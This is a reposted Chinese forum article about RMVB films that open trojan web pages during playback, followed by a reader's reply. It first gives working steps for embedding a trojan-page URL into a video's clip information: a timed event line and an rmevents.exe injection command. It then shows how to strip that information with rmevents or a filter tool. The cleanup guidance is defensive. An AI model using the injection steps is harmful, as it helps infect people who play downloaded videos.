看RMVB电影也中招?查杀媒体文件病毒

aaron

·看RMVB电影也中招?查杀媒体文件病毒（1）
. a! C5 A. L- {    最近来子常常收到一些读者的消息，说是从网上下载的许多RMVB影片，在播放时常常会自动弹出一些广告网页窗口，甚至有一些是木马网页。有不少读者打开了网页木马而中招，因此向来子抱怨，为什么不介绍一下如何清除RMVB影片中的弹出窗口。本期文章就向读者介绍一下这方面的知识，还大家的视频文件一个清白……
, z! b0 p+ F  n0 s, H一、在RMVB视频中加入网页木马
4 z, ~+ o( V* H# Q3 Y- \
. [: i2 S+ Q% R0 }/ s8 D    在清除RMVB视频中的网页木马时，我们先简单介绍一下如何在其中加入网页木马。
    步骤一：准备网页木马
, ~6 V% F1 f" @" B* \    如何制作网页木马就不多说了，本栏目已经介绍得太多了，这里假设网页木马地址为“http://www.binghewu.com.cn/muma.html”。
    步骤二：制作媒体信息文件
9 ?" \1 E* _) q4 d# }    通过向RMVB影片中添加剪辑信息，可在视频播放时打开指定的木马网页。用记事本新建一个文本文件“muma.txt”，文件内容为：“u 00:01:00 00:01:00 http://www.binghewu.com.cn/muma.html”，表示视频播放到1分钟时就自动打开指定的网页木马页面。
    步骤三：将网页木马加入RMVB视频
 
+ L3 h* K. k1 u- _3 {2 W    下载安装“HelixProducerPlus9”程序，打开一个命令提示符窗口，执行如下命令即可将网页木马加入指定的RM视频中（如图1）：
“"C:\Program Files\Real\Helix Producer Plus\RealMediaEditor\rmevents.exe"  -i  c:\龙虎门.rmvb -e xinxi.txt -o C:\龙虎门2.rmvb”

) s; S' j2 J# b0 ^. e; i图1
9 v' D. D- V, v* _. [. F1 p& Q3 X$ Q·看RMVB电影也中招?查杀媒体文件病毒（2）
! p  Y4 S# C, G! z0 N. E  T二、清除视频中的木马

    要防范上面这类夹带了网页木马的RMVB文件，在播放前，只要去掉视频剪辑信息中的网页资料就可以解决问题了，方法很简单。
    1.利用Helix Producer Plus去除网页木马
    如果电脑中安装有软件“Helix Producer Plus”，可利用该软件来清除视频中夹带木马的剪辑信息。
6 G+ Q" A8 ]) T: M( x7 [& \& U    首先用记事本建立一个名为“1.txt”的空白文本文件，然后在命令提示符窗口中执行如下命令：
7 T3 P5 K  n1 F  E“"C:\Program Files\Real\Helix Producer Plus\RealMediaEditor\rmevents.exe" -i C:\龙虎门.rm -e 1.txt -o C:\龙虎门2.rmvb”
5 e  o- w8 E( ?$ h* l: p% z    命令执行后，就可以将原有RM视频中的剪辑信息覆盖，也就间接的清除了木马。
 
    2.自动过滤木马——Real媒体过滤器
    “realfilter.exe”（Real媒体过滤器）是一个解决RMVB视频网页木马问题的小工具，无需安装Helix Producer Plus，使用非常的方便。运行程序后，点击“源文件”按钮，指定要清除网页木马的RMVB视频文件；然后在“另存为”中指定保存路径，最后点击“开始过滤”按钮，即可开始清除Real视频中的各种网页木马和广告信息了（如图2）。

9 r; k* k3 s" O7 A7 _! [图2
7 J( E& ?3 Q  f6 D    如果设置了“显示过滤进度”项，那么可以看到“realfilter.exe”实际上是调用了Helix Producer Plus的“rmevents.exe”插件程序进行过滤清除的，在弹出的命令窗口中可以看到清除过滤进度（如图3）。清除完毕后，弹出完成提示对话框，并显示清除了视频中的多少信息及文件减小的体积，现在得到的就是一个去掉木马网页或广告的干净视频了（如图4）。

图3

3 R( h3 {$ u0 i/ a
- k+ L* C/ {3 S  d5 E% E图4
) |. c% D# o+ q6 G. K4 |2 S4 K* K$ _1 u
下载地址：Real媒体过滤器    http://download.zol.com.cn/detail/10/99912.shtml[url=http://www.onlinedown.net/soft/40060.htm][/url]

rulingdanny

谢谢分享文章，希望网友在下次转载的时候，在标题上添加【转载】这样的字样。